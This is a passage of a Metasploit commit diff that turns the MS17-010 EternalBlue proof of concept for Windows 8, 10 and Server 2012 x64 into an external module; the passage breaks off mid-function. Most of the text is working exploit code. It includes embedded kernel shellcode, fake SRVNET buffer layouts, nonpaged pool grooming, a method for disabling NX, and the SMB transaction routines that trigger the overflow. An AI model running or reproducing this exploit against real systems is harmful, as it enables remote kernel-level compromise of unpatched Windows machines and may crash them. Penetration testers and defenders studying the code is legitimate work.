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Convert PoC to external module

GSoC/Meterpreter_Web_Console
William Vu 2018-06-15 16:43:38 -05:00
parent 02384371c4
commit ecea36c459
1 changed files with 449 additions and 358 deletions
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807
modules/exploits/windows/smb/ms17_010_eternalblue_win8.py
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@ -1,56 +1,148 @@
#!/usr/bin/python
#!/usr/bin/env python2.7
from metasploit import module
from impacket import smb, ntlm
from struct import pack
from base64 import b64decode
import sys
import socket
'''
EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
The exploit support only x64 target
metadata = {
'name': 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+',
'description': '''
EternalBlue exploit for Windows 8, Windows 10, and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
The exploit support only x64 target
Tested on:
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 10 Pro Build 10240 x64
Tested on:
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 10 Pro Build 10240 x64
- Windows 10 Enterprise Evaluation Build 10586 x64
Default Windows 8 and later installation without additional service info:
- anonymous is not allowed to access any share (including IPC$)
- More info: https://support.microsoft.com/en-us/help/3034016/ipc-share-and-null-session-behavior-in-windows
- tcp port 445 is filtered by firewall
Default Windows 8 and later installation without additional service info:
- anonymous is not allowed to access any share (including IPC$)
- More info: https://support.microsoft.com/en-us/help/3034016/ipc-share-and-null-session-behavior-in-windows
- tcp port 445 is filtered by firewall
Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit
Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit
Exploit info:
- If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at
https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same
- The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000).
On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.
- The exploit is likely to crash a target when it failed
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- See the code and comment for exploit detail.
Exploit info:
- If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at
https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same
- The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000).
On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.
- The exploit is likely to crash a target when it failed
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'GroomAllocations' value (at least 5)
- See the code and comment for exploit detail.
Disable NX method:
- The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)
- The exploit is also the same but we need to trigger bug twice
- First trigger, set MDL.MappedSystemVa to target pte address
- Write '\x00' to disable the NX flag
- Second trigger, do the same as Windows 7 exploit
- From my test, if exploit disable NX successfully, I always get code execution
'''
Disable NX method:
- The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)
- The exploit is also the same but we need to trigger bug twice
- First trigger, set MDL.MappedSystemVa to target pte address
- Write '\x00' to disable the NX flag
- Second trigger, do the same as Windows 7 exploit
- From my test, if exploit disable NX successfully, I always get code execution
''',
'authors': [
'Equation Group', # OG research and exploit
'Shadow Brokers', # Hack and dump
'sleepya', # Research and PoC
'wvu' # Babby's first external module
],
'references': [
{'type': 'msb', 'ref': 'MS17-010'},
{'type': 'cve', 'ref': '2017-0143'},
{'type': 'cve', 'ref': '2017-0144'},
{'type': 'cve', 'ref': '2017-0145'},
{'type': 'cve', 'ref': '2017-0146'},
{'type': 'cve', 'ref': '2017-0147'},
{'type': 'cve', 'ref': '2017-0148'},
{'type': 'edb', 'ref': '42030'},
{'type': 'url', 'ref': 'https://github.com/worawit/MS17-010'},
{'type': 'aka', 'ref': 'ETERNALBLUE'}
],
'date': 'Mar 14 2017',
'type': 'remote_exploit_generic',
'rank': 'AverageRanking',
'privileged': True,
'wfsdelay': 5,
'targets': [
{'platform': 'win', 'arch': 'x64'}
],
'options': {
'RHOST': {'type': 'address', 'description': 'Target server', 'required': True, 'default': None},
'RPORT': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 445},
'GroomAllocations': {'type': 'int', 'description': 'Initial number of times to groom the kernel pool.', 'required': True, 'default': 13},
# if anonymous can access any share folder, 'IPC$' is always accessible.
# authenticated user is always able to access 'IPC$'.
# Windows 2012 does not allow anonymous to login if no share is accessible.
'SMBUser': {'type': 'string', 'description': '(Optional) The username to authenticate as', 'required': False, 'default': ''},
'SMBPass': {'type': 'string', 'description': '(Optional) The password for the specified username', 'required': False, 'default': ''}
}
}
# if anonymous can access any share folder, 'IPC$' is always accessible.
# authenticated user is always able to access 'IPC$'.
# Windows 2012 does not allow anonymous to login if no share is accessible.
USERNAME=''
PASSWORD=''
eternalblue_kshellcode_x64 = (
'\x55\xe8\x2e\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d'
'\x0d\x34\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a'
'\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48'
'\xc1\xea\x20\x0f\x30\x5d\xc3\x48\x8d\x2d\x00\x10\x00\x00\x48'
'\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8'
'\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8'
'\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50'
'\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48'
'\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31'
'\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0'
'\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa'
'\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57'
'\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49'
'\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d'
'\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00'
'\x00\xbf\x78\x7c\xf4\xdb\xe8\x01\x01\x00\x00\x48\x91\xbf\x3f'
'\x5f\x64\x77\xe8\xfc\x00\x00\x00\x8b\x40\x03\x89\xc3\x3d\x00'
'\x04\x00\x00\x72\x03\x83\xc0\x10\x48\x8d\x50\x28\x4c\x8d\x04'
'\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xc6\x00\x00'
'\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6'
'\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xbb\x00\x00\x00\x8b\x78'
'\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xf4\x00\x00\x00\x3d\x5a'
'\x6a\xfa\xc1\x74\x10\x3d\xd8\x83\xe0\x3e\x74\x09\x48\x8b\x0c'
'\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x84\x00\x00'
'\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b'
'\x08\x48\x39\xde\x74\xf7\x4a\x8d\x14\x33\xbf\x3e\x4c\xf8\xce'
'\xe8\x69\x00\x00\x00\x8b\x40\x03\x48\x83\x7c\x02\xf8\x00\x74'
'\xde\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xa9\x00\x00\x00'
'\x55\x6a\x01\x55\x41\x50\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d'
'\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46'
'\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xa3'
'\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89'
'\x40\x08\xeb\x90\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02'
'\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84'
'\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20'
'\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00'
'\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c'
'\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59'
'\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75'
'\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b'
'\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89'
'\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06'
'\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65'
'\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e\x48'
'\x8d\x35\x4d\x00\x00\x00\xb9\x00\x06\x00\x00\xf3\xa4\x48\x8b'
'\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83'
'\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32'
'\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff'
'\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22'
'\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49'
'\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20'
'\xff\xd0\x48\x83\xc4\x30\xc3'
)
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
NTFEA_SIZE = 0x9000
@ -65,35 +157,35 @@ Reverse from srvnet.sys (Win2012 R2 x64)
// size 0x90
struct SRVNET_BUFFER_HDR {
LIST_ENTRY list;
USHORT flag; // 2 least significant bit MUST be clear. if 0x1 is set, pmdl pointers are access. if 0x2 is set, go to lookaside.
char unknown0[6];
char *pNetRawBuffer; // MUST point to valid address (check if this request is "\xfdSMB")
DWORD netRawBufferSize; // offset: 0x20
DWORD ioStatusInfo;
DWORD thisNonPagedPoolSize; // will be 0x82e8 for netRawBufferSize 0x8100
DWORD pad2;
char *thisNonPagedPoolAddr; // 0x30 points to SRVNET_BUFFER
PMDL pmdl1; // point at offset 0x90 from this struct
DWORD nByteProcessed; // 0x40
char unknown4[4];
QWORD smbMsgSize; // MUST be modified to size of all recv data
PMDL pmdl2; // 0x50: if want to free corrupted buffer, need to set to valid address
QWORD pSrvNetWskStruct; // want to change to fake struct address
DWORD unknown6; // 0x60
char unknown7[12];
char unknown8[0x20];
LIST_ENTRY list;
USHORT flag; // 2 least significant bit MUST be clear. if 0x1 is set, pmdl pointers are access. if 0x2 is set, go to lookaside.
char unknown0[6];
char *pNetRawBuffer; // MUST point to valid address (check if this request is "\xfdSMB")
DWORD netRawBufferSize; // offset: 0x20
DWORD ioStatusInfo;
DWORD thisNonPagedPoolSize; // will be 0x82e8 for netRawBufferSize 0x8100
DWORD pad2;
char *thisNonPagedPoolAddr; // 0x30 points to SRVNET_BUFFER
PMDL pmdl1; // point at offset 0x90 from this struct
DWORD nByteProcessed; // 0x40
char unknown4[4];
QWORD smbMsgSize; // MUST be modified to size of all recv data
PMDL pmdl2; // 0x50: if want to free corrupted buffer, need to set to valid address
QWORD pSrvNetWskStruct; // want to change to fake struct address
DWORD unknown6; // 0x60
char unknown7[12];
char unknown8[0x20];
};
struct SRVNET_BUFFER {
char transportHeader[80]; // 0x50
char buffer[reqSize+padding]; // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000)
SRVNET_BUFFER_HDR hdr; //some header size 0x90
//MDL mdl1; // target
char transportHeader[80]; // 0x50
char buffer[reqSize+padding]; // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000)
SRVNET_BUFFER_HDR hdr; //some header size 0x90
//MDL mdl1; // target
};
In Windows 8, the srvnet buffer metadata is declared after real buffer. We need to overflow through whole receive buffer.
Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and
Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and
DataDisplacement is USHORT in SMB_COM_TRANSACTION2_SECONDARY command, we cannot send large trailing data after FEALIST.
So the possible srvnet buffer pool size is 0x82f0. With this pool size, we need to overflow more than 0x8150 bytes.
If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to crash because of big overflow.
@ -114,7 +206,7 @@ If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to cr
# - 0x90 (VOID*) : MDL.Process should be NULL
# - 0x98 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
#
#
#
# To free the corrupted srvnet buffer (not necessary), shellcode MUST modify some memory value to satisfy condition.
# Here is related field for freeing corrupted buffer
@ -139,7 +231,7 @@ If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to cr
# The 0xffffffffffd00000 address should be useable when debug mode is not enabled
# The 0xffffffffffd01000 address should be useable when debug mode is enabled
TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode
# Note: feaList will be created after knowing shellcode size.
# feaList for disabling NX is possible because we just want to change only MDL.MappedSystemVa
@ -168,29 +260,29 @@ feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)
def createFakeSrvNetBuffer(sc_size):
# 0x180 is size of fakeSrvNetBufferX64
totalRecvSize = 0x80 + 0x180 + sc_size
fakeSrvNetBufferX64 = '\x00'*16
fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0) # _, thisNonPagedPoolSize, _
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
return fakeSrvNetBufferX64
# 0x180 is size of fakeSrvNetBufferX64
totalRecvSize = 0x80 + 0x180 + sc_size
fakeSrvNetBufferX64 = '\x00'*16
fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0) # _, thisNonPagedPoolSize, _
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
return fakeSrvNetBufferX64
def createFeaList(sc_size):
feaList = pack('<I', 0x10000)
feaList += ntfea9000
fakeSrvNetBuf = createFakeSrvNetBuffer(sc_size)
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
return feaList
feaList = pack('<I', 0x10000)
feaList += ntfea9000
fakeSrvNetBuf = createFakeSrvNetBuffer(sc_size)
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
return feaList
# fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
# x64: fake struct is at ffffffff ffd00e00
@ -216,96 +308,96 @@ fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode addr
def getNTStatus(self):
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
def sendEcho(conn, tid, data):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
transCommand['Parameters'] = smb.SMBEcho_Parameters()
transCommand['Data'] = smb.SMBEcho_Data()
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
transCommand['Parameters'] = smb.SMBEcho_Parameters()
transCommand['Data'] = smb.SMBEcho_Data()
transCommand['Parameters']['EchoCount'] = 1
transCommand['Data']['Data'] = data
pkt.addCommand(transCommand)
transCommand['Parameters']['EchoCount'] = 1
transCommand['Data']['Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('got good ECHO response')
else:
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
module.log('got good ECHO response')
else:
module.log('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error')
# override SMB.neg_session() to allow forcing ntlm authentication
class MYSMB(smb.SMB):
def __init__(self, remote_host, use_ntlmv2=True):
self.__use_ntlmv2 = use_ntlmv2
smb.SMB.__init__(self, remote_host, remote_host)
def __init__(self, remote_host, use_ntlmv2=True):
self.__use_ntlmv2 = use_ntlmv2
smb.SMB.__init__(self, remote_host, remote_host)
def neg_session(self, extended_security = True, negPacket = None):
smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
def neg_session(self, extended_security = True, negPacket = None):
smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
def createSessionAllocNonPaged(target, size):
conn = MYSMB(target, use_ntlmv2=False) # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
_, flags2 = conn.get_flags()
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
if size >= 0xffff:
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
else:
flags2 |= smb.SMB.FLAGS2_UNICODE
reqSize = size
conn.set_flags(flags2=flags2)
pkt = smb.NewSMBPacket()
def createSessionAllocNonPaged(target, size, username, password):
conn = MYSMB(target, use_ntlmv2=False) # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
_, flags2 = conn.get_flags()
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
if size >= 0xffff:
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
else:
flags2 |= smb.SMB.FLAGS2_UNICODE
reqSize = size
conn.set_flags(flags2=flags2)
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
pkt = smb.NewSMBPacket()
sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
pkt.addCommand(sessionSetup)
sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
return conn
if USERNAME:
# Try login with valid user because anonymous user might get access denied on Windows Server 2012.
# Note: If target allows only NTLMv2 authentication, the login will always fail.
# support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
conn.set_flags(flags2=flags2)
# new SMB packet to reset flags
pkt = smb.NewSMBPacket()
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
# UnicodePasswordLen field is in Reserved for extended security format.
sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + '\x00'*16
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
return conn
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
pkt.addCommand(sessionSetup)
# lazy to check error code, just print fail message
print('SMB1 session setup allocate nonpaged pool failed')
sys.exit(1)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
module.log('SMB1 session setup allocate nonpaged pool success')
return conn
if username:
# Try login with valid user because anonymous user might get access denied on Windows Server 2012.
# Note: If target allows only NTLMv2 authentication, the login will always fail.
# support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
conn.set_flags(flags2=flags2)
# new SMB packet to reset flags
pkt = smb.NewSMBPacket()
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(password))
# UnicodePasswordLen field is in Reserved for extended security format.
sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(username)) + pwd_unicode + username + '\x00'*16
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
module.log('SMB1 session setup allocate nonpaged pool success')
return conn
# lazy to check error code, just print fail message
module.log('SMB1 session setup allocate nonpaged pool failed', 'error')
sys.exit(1)
# Note: impacket-0.9.15 struct has no ParameterDisplacement
@ -324,246 +416,245 @@ class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
)
def send_trans2_second(conn, tid, data, displacement):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
# assume no params
# assume no params
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
transCommand['Parameters']['TotalParameterCount'] = 0
transCommand['Parameters']['TotalDataCount'] = len(data)
transCommand['Parameters']['TotalParameterCount'] = 0
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+18
transCommand['Data']['Pad1'] = ''
fixedOffset = 32+3+18
transCommand['Data']['Pad1'] = ''
transCommand['Parameters']['ParameterCount'] = 0
transCommand['Parameters']['ParameterOffset'] = 0
transCommand['Parameters']['ParameterCount'] = 0
transCommand['Parameters']['ParameterOffset'] = 0
if len(data) > 0:
pad2Len = (4 - fixedOffset % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
if len(data) > 0:
pad2Len = (4 - fixedOffset % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = len(data)
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
transCommand['Parameters']['DataDisplacement'] = displacement
transCommand['Parameters']['DataCount'] = len(data)
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
transCommand['Parameters']['DataDisplacement'] = displacement
transCommand['Data']['Trans_Parameters'] = ''
transCommand['Data']['Trans_Data'] = data
pkt.addCommand(transCommand)
transCommand['Data']['Trans_Parameters'] = ''
transCommand['Data']['Trans_Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
conn.sendSMB(pkt)
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
command = pack('<H', setup)
command = pack('<H', setup)
# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
transCommand['Parameters']['MaxSetupCount'] = 1
transCommand['Parameters']['MaxParameterCount'] = len(param)
transCommand['Parameters']['MaxDataCount'] = 0
transCommand['Data'] = smb.SMBTransaction2_Data()
# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
transCommand['Parameters']['MaxSetupCount'] = 1
transCommand['Parameters']['MaxParameterCount'] = len(param)
transCommand['Parameters']['MaxDataCount'] = 0
transCommand['Data'] = smb.SMBTransaction2_Data()
transCommand['Parameters']['Setup'] = command
transCommand['Parameters']['TotalParameterCount'] = len(param)
transCommand['Parameters']['TotalDataCount'] = len(data)
transCommand['Parameters']['Setup'] = command
transCommand['Parameters']['TotalParameterCount'] = len(param)
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+38 + len(command)
if len(param) > 0:
padLen = (4 - fixedOffset % 4 ) % 4
padBytes = '\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes
else:
transCommand['Data']['Pad1'] = ''
padLen = 0
fixedOffset = 32+3+38 + len(command)
if len(param) > 0:
padLen = (4 - fixedOffset % 4 ) % 4
padBytes = '\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes
else:
transCommand['Data']['Pad1'] = ''
padLen = 0
transCommand['Parameters']['ParameterCount'] = len(param)
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
transCommand['Parameters']['ParameterCount'] = len(param)
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = firstDataFragmentSize
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
